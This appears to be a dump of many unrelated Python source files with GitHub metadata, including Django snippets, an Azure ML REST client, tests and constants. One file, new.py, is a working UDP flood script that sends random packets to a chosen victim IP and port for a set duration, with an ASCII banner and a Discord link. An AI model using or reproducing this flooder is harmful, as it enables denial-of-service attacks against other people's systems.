print("PostingSize: " + str(freqlist[sortedfreq[i]]) + "\tAverage Gap : " + str(gap) + "\n") def get_leastk(invertedindex): """ This function outputs the k terms with least document frequency It takes the inverted index as input and sorts the terms based on their document frequency. Args: invertedindex (dict): The dictionary storing the inverted index """ invertedlist = list(invertedindex) freqlist = [len(invertedindex[word][0]) for word in invertedlist] sortedfreq = np.argsort(np.array(freqlist)) for i in range(k): word = invertedlist[sortedfreq[i]] gap = 0 postlist = np.array(invertedindex[word][0]) gap = np.mean(postlist[1:]-postlist[:-1]) if len(postlist) > 1 else 0 print("Term : " + word + "\t") print("Size: " + str(freqlist[sortedfreq[i]]) + "\tAverage Gap : " + str(gap) + "\n") if __name__ == "__main__": k = 20 INDEX = createindexes() for ind, item in enumerate(INDEX): print("Inverted Index " + str(ind+1) + "\n") print("TOP K\n") get_topk(item) print("MEDIAN K\n") get_medk(item) print("LEAST K\n") get_leastk(item) print(60*"-")

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443e9ab7bbad66ea70cd4a40efdfc77e47bdb161

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py

Python

test.py

emmatysinger/test

e1946f46b492370bad07c601c1d12d62043a8461

[ "MIT" ]

null

test.py

emmatysinger/test

e1946f46b492370bad07c601c1d12d62043a8461

[ "MIT" ]

null

test.py

emmatysinger/test

e1946f46b492370bad07c601c1d12d62043a8461

[ "MIT" ]

null

# python file: test.py print("This is my first python program")

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null

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5

4453f380fc213caa0d80109b5bcb911e30dcaa44

233

py

Python

django_iris/validation.py

nickmitchko/django-iris

2eb59553e554ad022b96bd37921f7f35bbb64e38

[ "MIT" ]

2

2022-02-23T12:46:23.000Z

2022-02-27T22:14:36.000Z

django_iris/validation.py

nickmitchko/django-iris

2eb59553e554ad022b96bd37921f7f35bbb64e38

[ "MIT" ]

3

2022-03-19T02:04:51.000Z

2022-03-19T19:15:55.000Z

django_iris/validation.py

nickmitchko/django-iris

2eb59553e554ad022b96bd37921f7f35bbb64e38

[ "MIT" ]

3

2022-02-15T14:08:45.000Z

2022-03-19T17:05:37.000Z

from django.db.backends.base.validation import BaseDatabaseValidation class DatabaseValidation(BaseDatabaseValidation): def check(self, **kwargs): return [] def check_field(self, field, **kwargs): return []

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0

5

922e25c5c3aba311e0beb70dcaf014c52bc03e0f

221

py

Python

eyey/constants.py

dincamihai/eyey

146c75a1c8b4f3da6ced57b4fee43ba3315052e0

[ "Apache-2.0" ]

null

eyey/constants.py

dincamihai/eyey

146c75a1c8b4f3da6ced57b4fee43ba3315052e0

[ "Apache-2.0" ]

null

eyey/constants.py

dincamihai/eyey

146c75a1c8b4f3da6ced57b4fee43ba3315052e0

[ "Apache-2.0" ]

null

IMPORTANT = b'important' NOT_IMPORTANT = b'not-important' SHOULD_BE_IMPORTANT = b'should-be-important' SHOULD_BE_NOT_IMPORTANT = b'should-be-not-important' RETRAIN = b'retrain' RELABEL = b'relabel' DELETED = b'\\Deleted'

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7

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null

0

1

0

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5

92589690e29dd174295e61558264b2f4a3b4282f

244

py

Python

woodwork/tests/test_cli.py

not-so-rabh/woodwork

18e44c371e77ebc41baae57289bfc4fd1804b122

[ "BSD-3-Clause" ]

null

woodwork/tests/test_cli.py

not-so-rabh/woodwork

18e44c371e77ebc41baae57289bfc4fd1804b122

[ "BSD-3-Clause" ]

13

2021-03-04T19:26:15.000Z

2022-01-21T10:49:07.000Z

woodwork/tests/test_cli.py

RG4421/woodwork

739b4e7e4b7eccbd5772251d294523240f10664e

[ "BSD-3-Clause" ]

null

import subprocess def test_list_logical_types(): subprocess.check_output(['python', '-m', 'woodwork', 'list-logical-types']) def test_list_semantic_tags(): subprocess.check_output(['python', '-m', 'woodwork', 'list-semantic-tags'])

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9

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1

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null

0

1

0

1

0

5

928bb066d36b361a796df63bf40e98b8b8f26f01

88

py

Python

pytest_relaxed/__init__.py

cclauss/pytest-relaxed

2f6f83b35af312ce8f34686af79e7fdb7ca23726

[ "BSD-2-Clause" ]

24

2017-04-06T22:09:33.000Z

2022-03-26T14:06:38.000Z

pytest_relaxed/__init__.py

cclauss/pytest-relaxed

2f6f83b35af312ce8f34686af79e7fdb7ca23726

[ "BSD-2-Clause" ]

14

2017-11-15T18:53:17.000Z

2021-12-13T23:25:38.000Z

pytest_relaxed/__init__.py

cclauss/pytest-relaxed

2f6f83b35af312ce8f34686af79e7fdb7ca23726

[ "BSD-2-Clause" ]

8

2017-05-24T20:21:31.000Z

2022-03-10T05:58:26.000Z

# Convenience imports. # flake8: noqa from .trap import trap from .raises import raises

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1

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1

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5

92a06ec22b5b18f54c6edc08711413ab59ced176

199

py

Python

mountain/db.py

tehmaze-labs/mountain

f9fc9d66b3bd525b771acc2d76e36aaf405dc51a

[ "MIT" ]

2

2019-09-22T15:33:55.000Z

2022-02-20T09:34:12.000Z

mountain/db.py

tehmaze-labs/mountain

f9fc9d66b3bd525b771acc2d76e36aaf405dc51a

[ "MIT" ]

null

mountain/db.py

tehmaze-labs/mountain

f9fc9d66b3bd525b771acc2d76e36aaf405dc51a

[ "MIT" ]

null

# Import SQLAlchemy from flask.ext.sqlalchemy import SQLAlchemy # Import Flask from .app import app # Define the database object which is imported # by modules and controllers db = SQLAlchemy(app)

19.9

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null

0

1

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1

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5

2b8d41aecdba1cd7987f459d5c39928afa74674b

159

py

Python

authors/apps/articles/admin.py

andela/ah-django-unchained

a4e5f6cd11fdc0b9422020693ac1200b849cf0f3

[ "BSD-3-Clause" ]

null

authors/apps/articles/admin.py

andela/ah-django-unchained

a4e5f6cd11fdc0b9422020693ac1200b849cf0f3

[ "BSD-3-Clause" ]

26

2019-01-07T14:22:05.000Z

2019-02-28T17:11:48.000Z

authors/apps/articles/admin.py

andela/ah-django-unchained

a4e5f6cd11fdc0b9422020693ac1200b849cf0f3

[ "BSD-3-Clause" ]

3

2019-09-19T22:16:09.000Z

2019-10-16T21:16:16.000Z

from django.contrib import admin from .models import Article ,Comment # Register your models here. admin.site.register(Article) admin.site.register(Comment)

19.875

36

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159

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1

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5

9206913a1d8d9352764326bb25d5c5ac08420277

86

py

Python

pyrosetta_help/chain_ops/__init__.py

matteoferla/pyrosetta_help

6ef96455dfd389b2a8bbccfc81159737430878b9

[ "MIT" ]

7

2021-04-28T14:09:30.000Z

2022-02-14T04:41:49.000Z

pyrosetta_help/chain_ops/__init__.py

matteoferla/pyrosetta_help

6ef96455dfd389b2a8bbccfc81159737430878b9

[ "MIT" ]

null

pyrosetta_help/chain_ops/__init__.py

matteoferla/pyrosetta_help

6ef96455dfd389b2a8bbccfc81159737430878b9

[ "MIT" ]

3

2021-09-14T14:05:47.000Z

2022-01-25T22:50:19.000Z

from .chain_ops import ChainOps from .transmogrifier import Transmogrifier, Murinizer

28.666667

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7.3

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5

a64342d6282acb3e5c3a1da43389d3370a406889

17,804

py

Python

venv/lib/python3.8/site-packages/azureml/_restclient/operations/assets_operations.py

amcclead7336/Enterprise_Data_Science_Final

ccdc0aa08d4726bf82d71c11a1cc0c63eb301a28

[ "Unlicense", "MIT" ]

null

venv/lib/python3.8/site-packages/azureml/_restclient/operations/assets_operations.py

amcclead7336/Enterprise_Data_Science_Final

ccdc0aa08d4726bf82d71c11a1cc0c63eb301a28

[ "Unlicense", "MIT" ]

null

venv/lib/python3.8/site-packages/azureml/_restclient/operations/assets_operations.py

amcclead7336/Enterprise_Data_Science_Final

ccdc0aa08d4726bf82d71c11a1cc0c63eb301a28

[ "Unlicense", "MIT" ]

2

2021-05-23T16:46:31.000Z

2021-05-26T23:51:09.000Z

# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator 2.3.33.0 # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.pipeline import ClientRawResponse from .. import models class AssetsOperations(object): """AssetsOperations operations. :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An object model deserializer. """ models = models def __init__(self, client, config, serializer, deserializer): self._client = client self._serialize = serializer self._deserialize = deserializer self.config = config def create( self, subscription_id, resource_group, workspace, body, custom_headers=None, raw=False, **operation_config): """Create an Asset. Create an Asset from the provided payload. :param subscription_id: The Azure Subscription ID. :type subscription_id: str :param resource_group: The Name of the resource group in which the workspace is located. :type resource_group: str :param workspace: The name of the workspace. :type workspace: str :param body: The Asset to be created. :type body: ~_restclient.models.Asset :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: Asset or ClientRawResponse if raw=true :rtype: ~_restclient.models.Asset or ~msrest.pipeline.ClientRawResponse :raises: :class:`ModelErrorResponseException<_restclient.models.ModelErrorResponseException>` """ # Construct URL url = self.create.metadata['url'] path_format_arguments = { 'subscriptionId': self._serialize.url("subscription_id", subscription_id, 'str'), 'resourceGroup': self._serialize.url("resource_group", resource_group, 'str'), 'workspace': self._serialize.url("workspace", workspace, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct body body_content = self._serialize.body(body, 'Asset') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, stream=False, **operation_config) if response.status_code not in [200]: raise models.ModelErrorResponseException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('Asset', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized create.metadata = {'url': '/modelmanagement/v1.0/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.MachineLearningServices/workspaces/{workspace}/assets'} def list_query( self, subscription_id, resource_group, workspace, run_id=None, name=None, tag=None, count=None, skip_token=None, tags=None, properties=None, type=None, orderby="CreatedAtDesc", custom_headers=None, raw=False, **operation_config): """Query the list of Assets in a workspace. If no filter is passed, the query lists all the Assets in the given workspace. The returned list is paginated and the count of items in each page is an optional parameter. :param subscription_id: The Azure Subscription ID. :type subscription_id: str :param resource_group: The Name of the resource group in which the workspace is located. :type resource_group: str :param workspace: The name of the workspace. :type workspace: str :param run_id: The run Id associated with the Assets. :type run_id: str :param name: The object name. :type name: str :param tag: The object tag. :type tag: str :param count: The number of items to retrieve in a page. :type count: int :param skip_token: The continuation token to retrieve the next page. :type skip_token: str :param tags: A set of tags with which to filter the returned models. It is a comma separated string of tags key or tags key=value Example: tagKey1,tagKey2,tagKey3=value3 . :type tags: str :param properties: A set of properties with which to filter the returned models. It is a comma separated string of properties key and/or properties key=value Example: propKey1,propKey2,propKey3=value3 . :type properties: str :param type: The object type. :type type: str :param orderby: An option for specifying how to order the list. Possible values include: 'CreatedAtDesc', 'CreatedAtAsc', 'UpdatedAtDesc', 'UpdatedAtAsc' :type orderby: str or ~_restclient.models.OrderString :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: PaginatedAssetList or ClientRawResponse if raw=true :rtype: ~_restclient.models.PaginatedAssetList or ~msrest.pipeline.ClientRawResponse :raises: :class:`ModelErrorResponseException<_restclient.models.ModelErrorResponseException>` """ # Construct URL url = self.list_query.metadata['url'] path_format_arguments = { 'subscriptionId': self._serialize.url("subscription_id", subscription_id, 'str'), 'resourceGroup': self._serialize.url("resource_group", resource_group, 'str'), 'workspace': self._serialize.url("workspace", workspace, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if run_id is not None: query_parameters['runId'] = self._serialize.query("run_id", run_id, 'str') if name is not None: query_parameters['name'] = self._serialize.query("name", name, 'str') if tag is not None: query_parameters['tag'] = self._serialize.query("tag", tag, 'str') if count is not None: query_parameters['count'] = self._serialize.query("count", count, 'int') if skip_token is not None: query_parameters['$skipToken'] = self._serialize.query("skip_token", skip_token, 'str') if tags is not None: query_parameters['tags'] = self._serialize.query("tags", tags, 'str') if properties is not None: query_parameters['properties'] = self._serialize.query("properties", properties, 'str') if type is not None: query_parameters['type'] = self._serialize.query("type", type, 'str') if orderby is not None: query_parameters['orderby'] = self._serialize.query("orderby", orderby, 'OrderString') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, stream=False, **operation_config) if response.status_code not in [200]: raise models.ModelErrorResponseException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('PaginatedAssetList', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized list_query.metadata = {'url': '/modelmanagement/v1.0/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.MachineLearningServices/workspaces/{workspace}/assets'} def patch( self, subscription_id, resource_group, workspace, id, body, custom_headers=None, raw=False, **operation_config): """Update an Asset. Patch a specific Asset. :param subscription_id: The Azure Subscription ID. :type subscription_id: str :param resource_group: The Name of the resource group in which the workspace is located. :type resource_group: str :param workspace: The name of the workspace. :type workspace: str :param id: The Id of the Asset to patch. :type id: str :param body: The payload that is used to patch an Asset. :type body: list[~_restclient.models.JsonPatchOperation] :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: Asset or ClientRawResponse if raw=true :rtype: ~_restclient.models.Asset or ~msrest.pipeline.ClientRawResponse :raises: :class:`ModelErrorResponseException<_restclient.models.ModelErrorResponseException>` """ # Construct URL url = self.patch.metadata['url'] path_format_arguments = { 'subscriptionId': self._serialize.url("subscription_id", subscription_id, 'str'), 'resourceGroup': self._serialize.url("resource_group", resource_group, 'str'), 'workspace': self._serialize.url("workspace", workspace, 'str'), 'id': self._serialize.url("id", id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct body body_content = self._serialize.body(body, '[JsonPatchOperation]') # Construct and send request request = self._client.patch(url, query_parameters) response = self._client.send( request, header_parameters, body_content, stream=False, **operation_config) if response.status_code not in [200]: raise models.ModelErrorResponseException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('Asset', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized patch.metadata = {'url': '/modelmanagement/v1.0/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.MachineLearningServices/workspaces/{workspace}/assets/{id}'} def delete( self, subscription_id, resource_group, workspace, id, custom_headers=None, raw=False, **operation_config): """Delete an Asset. Delete the specified Asset. :param subscription_id: The Azure Subscription ID. :type subscription_id: str :param resource_group: The Name of the resource group in which the workspace is located. :type resource_group: str :param workspace: The name of the workspace. :type workspace: str :param id: The Id of the Asset to delete. :type id: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: None or ClientRawResponse if raw=true :rtype: None or ~msrest.pipeline.ClientRawResponse :raises: :class:`ModelErrorResponseException<_restclient.models.ModelErrorResponseException>` """ # Construct URL url = self.delete.metadata['url'] path_format_arguments = { 'subscriptionId': self._serialize.url("subscription_id", subscription_id, 'str'), 'resourceGroup': self._serialize.url("resource_group", resource_group, 'str'), 'workspace': self._serialize.url("workspace", workspace, 'str'), 'id': self._serialize.url("id", id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct and send request request = self._client.delete(url, query_parameters) response = self._client.send(request, header_parameters, stream=False, **operation_config) if response.status_code not in [200, 204]: raise models.ModelErrorResponseException(self._deserialize, response) if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response delete.metadata = {'url': '/modelmanagement/v1.0/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.MachineLearningServices/workspaces/{workspace}/assets/{id}'} def query_by_id( self, subscription_id, resource_group, workspace, id, custom_headers=None, raw=False, **operation_config): """Get an Asset. Get an Asset by Id. :param subscription_id: The Azure Subscription ID. :type subscription_id: str :param resource_group: The Name of the resource group in which the workspace is located. :type resource_group: str :param workspace: The name of the workspace. :type workspace: str :param id: The Asset Id. :type id: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: Asset or ClientRawResponse if raw=true :rtype: ~_restclient.models.Asset or ~msrest.pipeline.ClientRawResponse :raises: :class:`ModelErrorResponseException<_restclient.models.ModelErrorResponseException>` """ # Construct URL url = self.query_by_id.metadata['url'] path_format_arguments = { 'subscriptionId': self._serialize.url("subscription_id", subscription_id, 'str'), 'resourceGroup': self._serialize.url("resource_group", resource_group, 'str'), 'workspace': self._serialize.url("workspace", workspace, 'str'), 'id': self._serialize.url("id", id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, stream=False, **operation_config) if response.status_code not in [200]: raise models.ModelErrorResponseException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('Asset', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized query_by_id.metadata = {'url': '/modelmanagement/v1.0/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.MachineLearningServices/workspaces/{workspace}/assets/{id}'}

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1

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null

0

5

a64902e3f8f932d8557295852469583d5b782d2c

233

py

Python

src/basestation/const.py

jariz/basestation

090acf2880e10a08667de85feab0fc3bdb375ada

[ "MIT" ]

2

2021-07-04T11:39:44.000Z

2022-01-20T18:57:53.000Z

src/basestation/const.py

jariz/basestation

090acf2880e10a08667de85feab0fc3bdb375ada

[ "MIT" ]

null

src/basestation/const.py

jariz/basestation

090acf2880e10a08667de85feab0fc3bdb375ada

[ "MIT" ]

null

SERVICE = "00001523-1212-efde-1523-785feabcd124" PWR_CHARACTERISTIC = "00001525-1212-EFDE-1523-785FEABCD124" IDENTIFY_CHARACTERISTIC = "00008421-1212-EFDE-1523-785FEABCD124" PWR_ON = b"\x01" PWR_STANDBY = b"\x00" NAME_SUFFIX = "LHB-"

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1

null

0

5

a667624b7f6ad6a76fa1c32f9b8be7619f67e985

92

py

Python

test.py

towarischtsch/siproll

e3efd5f874d8ccb2c89a2947418759e447403861

[ "MIT" ]

1

2020-08-07T00:32:21.000Z

test.py

towarischtsch/siproll

e3efd5f874d8ccb2c89a2947418759e447403861

[ "MIT" ]

null

test.py

towarischtsch/siproll

e3efd5f874d8ccb2c89a2947418759e447403861

[ "MIT" ]

null

import siproll import sys siproll.do_call("sip:"+ sys.argv[1] + "@voip.eventphone.de", 60)

18.4

64

0.706522

15

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null

0

1

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1

0

1

0

5

a69710ab18965d75ae34f2d798ed7836b803b1f0

922

py

Python

mpf/tests/test_SegmentMappings.py

Scottacus64/mpf

fcfb6c5698b9c7d8bf0eb64b021aaa389ea6478a

[ "MIT" ]

163

2015-01-25T02:19:50.000Z

2022-03-26T12:00:28.000Z

mpf/tests/test_SegmentMappings.py

Scottacus64/mpf

fcfb6c5698b9c7d8bf0eb64b021aaa389ea6478a

[ "MIT" ]

1,086

2015-03-23T19:53:17.000Z

2022-03-24T20:46:11.000Z

mpf/tests/test_SegmentMappings.py

Scottacus64/mpf

fcfb6c5698b9c7d8bf0eb64b021aaa389ea6478a

[ "MIT" ]

148

2015-01-28T02:31:39.000Z

2022-03-22T13:54:01.000Z

import unittest from mpf.core.segment_mappings import TextToSegmentMapper, BCD_SEGMENTS class TestSegmentDisplay(unittest.TestCase): def test_text_to_mapping(self): mapping = TextToSegmentMapper.map_text_to_segments("1337.23", 10, BCD_SEGMENTS, embed_dots=True) self.assertEqual( [BCD_SEGMENTS[None], BCD_SEGMENTS[None], BCD_SEGMENTS[None], BCD_SEGMENTS[None], BCD_SEGMENTS[ord("1")], BCD_SEGMENTS[ord("3")], BCD_SEGMENTS[ord("3")], BCD_SEGMENTS[ord("7")].copy_with_dp_on(), BCD_SEGMENTS[ord("2")], BCD_SEGMENTS[ord("3")], ], mapping ) mapping = TextToSegmentMapper.map_text_to_segments("1337.23", 4, BCD_SEGMENTS, embed_dots=True) self.assertEqual( [BCD_SEGMENTS[ord("3")], BCD_SEGMENTS[ord("7")].copy_with_dp_on(), BCD_SEGMENTS[ord("2")], BCD_SEGMENTS[ord("3")], ], mapping )

40.086957

105

0.651844

115

922

4.921739

0.330435

0.330389

0.24735

0.132509

0.742049

0.715548

0.542403

0.404594

0

0.034106

0.204989

922

22

106

41.909091

0.738063

0

0.235294

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false

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null

1

0

1

0

null

0

5

a6998e877e1ced03d03d52f574560425b5d5faf2

181

py

Python

src/Model/MetaCommand.py

anthonyf996/ChessApp

614f72bc641793681fd5ad7040d6a4c407c9ae9e

[ "MIT" ]

null

src/Model/MetaCommand.py

anthonyf996/ChessApp

614f72bc641793681fd5ad7040d6a4c407c9ae9e

[ "MIT" ]

null

src/Model/MetaCommand.py

anthonyf996/ChessApp

614f72bc641793681fd5ad7040d6a4c407c9ae9e

[ "MIT" ]

null

class MetaCommand: def __init__(self, commands): self.commands = commands def execute(self): raise NotImplementedError def undo(self): raise NotImplementedError

18.1

31

0.729282

19

181

6.736842

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181

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1

0

null

0

1

0

1

0

5

a6a1b27bb26aacef5997572d868b16e29265fa5b

138

wsgi

Python

vagrant/catalog/app.wsgi

jcarter62/udacity-fs-p5

e4760085d93c5ee71fd182c9d118c1d9b258c2b2

[ "MIT" ]

null

vagrant/catalog/app.wsgi

jcarter62/udacity-fs-p5

e4760085d93c5ee71fd182c9d118c1d9b258c2b2

[ "MIT" ]

null

vagrant/catalog/app.wsgi

jcarter62/udacity-fs-p5

e4760085d93c5ee71fd182c9d118c1d9b258c2b2

[ "MIT" ]

null

#!/user/bin/python import os import sys sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from app import app as application

23

62

0.775362

24

138

4.291667

0.666667

0.116505

0

0.008

0.094203

138

5

63

27.6

0.816

0.123188

0

1

0

true

0

0.75

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0.75

0

1

0

null

0

1

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null

0

1

0

1

0

1

0

5

a6a6da1aacb22fe0b4ee83f5a841d6a9da85c4fa

122

py

Python

schemaless/orm/__init__.py

eklitzke/schemaless

eb2ca453a69e8af36980c53fcc66725116ae7971

[ "0BSD" ]

58

2015-04-30T07:36:45.000Z

2022-01-20T03:37:09.000Z

schemaless/orm/__init__.py

eklitzke/schemaless

eb2ca453a69e8af36980c53fcc66725116ae7971

[ "0BSD" ]

1

2016-01-19T05:28:15.000Z

schemaless/orm/__init__.py

eklitzke/schemaless

eb2ca453a69e8af36980c53fcc66725116ae7971

[ "0BSD" ]

14

2015-04-14T09:10:53.000Z

2020-05-09T01:53:17.000Z

from session import Session from index import Index from column import * from document import make_base import converters

20.333333

30

0.844262

18

122

5.666667

0.5

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0.147541

122

5

31

24.4

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true

0

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null

0

1

0

1

0

1

0

5

a6c957005a98e765219391600b7a9ac65ec97743

2,036

py

Python

new.py

EvanBot/nw

ca65aa90b38074c2dbefe16ad4dabd6d7849b9f6

[ "Apache-2.0" ]

1

2021-08-19T22:24:11.000Z

new.py

EvanBot/nw

ca65aa90b38074c2dbefe16ad4dabd6d7849b9f6

[ "Apache-2.0" ]

null

new.py

EvanBot/nw

ca65aa90b38074c2dbefe16ad4dabd6d7849b9f6

[ "Apache-2.0" ]

3

2021-08-31T08:17:01.000Z

2021-09-26T13:18:32.000Z

import time import socket import random import sys def usage(): print "dP dP dP a88888b. dP 888888ba dP dP" print "88 88 88 d8' `88 88 88 `8b 88 88 " print "88 .d8888b. 88d888b. .d888b88 88 .d8888b. dP dP 88 .d8888b. .d888b88 .d8888b. a88aaaa8P' dP dP 88aaaaa88a .d8888b. 88d888b." print "88 88' `88 88' `88 88' `88 88 88' `88 88 88 88 88' `88 88' `88 88ooood8 88 `8b. 88 88 88 88 88' `88 88' `88" print "88 88. .88 88 88. .88 88. .d8P 88. .88 88. .88 Y8. .88 88. .88 88. .88 88. ... 88 .88 88. .88 88 88 88. .88 88 88" print "88888888P `88888P' dP `88888P8 `Y8888' `88888P8 `8888P88 Y88888P' `88888P' `88888P8 `88888P' 88888888P `8888P88 dP dP `88888P8 dP dP" print "ooooooooooooooooooooooooooooooooooooooooooooooooooooooooo~~~~.88~ooooooooooooooooooooooooooooooooooooooooooooooooo~~~~.88~ooooooooooooooooooooooooooooo" print "# LinkDiscord:https://discord.gg/9KPqzSzNq9 \033[1;32m #" def flood(victim, vport, duration): # okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP type program client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # 1024 representes one byte to the server bytes = random._urandom(1024) timeout = time.time() + duration sent = 3000 while 1: if time.time() > timeout: break else: pass client.sendto(bytes, (victim, vport)) sent = sent + 1 print "Menyerang %s mengirim paket %s at the port %s "%(sent, victim, vport) def main(): print len(sys.argv) if len(sys.argv) != 4: usage() else: flood(sys.argv[1], int(sys.argv[2]), int(sys.argv[3])) if __name__ == '__main__': main()

46.272727

163

0.534872

252

2,036

4.27381

0.369048

0.193129

0.245125

0.274838

0.103064

0.085422

0.061281

0

0.230592

0.361002

2,036

43

164

47.348837

0.597233

0.063851

0

0.058824

0

0.117647

0.602315

0.079432

0

null

0.029412

0.117647

null

0.294118

0

null

0

1

0

1

0

1

0

null

0

1

0

5

a6e5ad4f3536035649df76c9f5e0929300f042e7

243

py

Python

yui_loader/tests/views.py

papuapost/django-yui-loader

db3ce8197f6295b003d81cf2c55715aa11e22f9c

[ "BSD-3-Clause" ]

1

2016-05-09T10:02:46.000Z

yui_loader/tests/views.py

akaihola/django-yui-loader

f5344344279d666f2f29dd7d3366dfce1897eca6

[ "BSD-3-Clause" ]

null

yui_loader/tests/views.py

akaihola/django-yui-loader

f5344344279d666f2f29dd7d3366dfce1897eca6

[ "BSD-3-Clause" ]

1

2021-01-26T04:13:30.000Z

from django.template import RequestContext from django.shortcuts import render_to_response def test_yui_include(request): return render_to_response( 'yui/tests/test-yui-include.html', {}, RequestContext(request))

24.3

47

0.73251

29

243

5.931034

0.586207

0.116279

0.186047

0

0.185185

243

9

48

27

0.868687

0

0.128099

0

1

0.142857

false

0

0.285714

0.142857

0.571429

0

1

0

null

0

1

0

1

0

null

0

1

0

5

4716e8dc731b778858ae5d8316051f6d4d545541

47

py

Python

src/zope/hookable/tests/__init__.py

prakritichauhan07/zope.hookable

3c4ae8ddc9c4a2819e4e8e0c4e23394daebb7669

[ "ZPL-2.1" ]

4

2021-02-20T06:00:01.000Z

2022-01-07T20:37:37.000Z

src/zope/hookable/tests/__init__.py

prakritichauhan07/zope.hookable

3c4ae8ddc9c4a2819e4e8e0c4e23394daebb7669

[ "ZPL-2.1" ]

2

2020-04-30T13:03:09.000Z

2021-05-05T10:20:15.000Z

src/zope/hookable/tests/__init__.py

prakritichauhan07/zope.hookable

3c4ae8ddc9c4a2819e4e8e0c4e23394daebb7669

[ "ZPL-2.1" ]

5

2020-05-07T08:14:36.000Z

2022-03-24T15:15:08.000Z

# This line required to prevent an empty file.

23.5

46

0.765957

8

47

4.5

1

0

0.191489

47

1

47

0.947368

0.93617

0

null

0

null

0

null

0

null

1

null

true

0

null

1

0

null

0

1

0

1

0

null

0

1

0

5

47232224564cdd8a5caa75cbc4ac2385651ab18d

96

py

Python

venv/lib/python3.8/site-packages/cachecontrol/serialize.py

Retraces/UkraineBot

3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71

[ "MIT" ]

2

2022-03-13T01:58:52.000Z

2022-03-31T06:07:54.000Z

venv/lib/python3.8/site-packages/cachecontrol/serialize.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

19

2021-11-20T04:09:18.000Z

2022-03-23T15:05:55.000Z

venv/lib/python3.8/site-packages/cachecontrol/serialize.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

null

/home/runner/.cache/pip/pool/97/d1/9c/0ee9b4b39bafa05abf8cf04999afafcd584adf4911ee4f06c64e772d34

96

0.895833

9

96

9.555556

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null

1

0

1

0

5

5b8d2b28b910f8ce39ee47a610413dcc13072e6e

1,992

py

Python

src/test/cli/test_scheduler.py

pebble/flotilla

23d9b3aefd8312879549c50e52ea73f3e3f493be

[ "MIT" ]

5

2016-01-01T15:50:21.000Z

2018-11-27T17:38:15.000Z

src/test/cli/test_scheduler.py

pebble/flotilla

23d9b3aefd8312879549c50e52ea73f3e3f493be

[ "MIT" ]

27

2015-12-17T07:49:56.000Z

2018-07-13T15:06:33.000Z

src/test/cli/test_scheduler.py

pebble/flotilla

23d9b3aefd8312879549c50e52ea73f3e3f493be

[ "MIT" ]

7

2015-12-01T22:04:24.000Z

2021-11-28T13:21:35.000Z

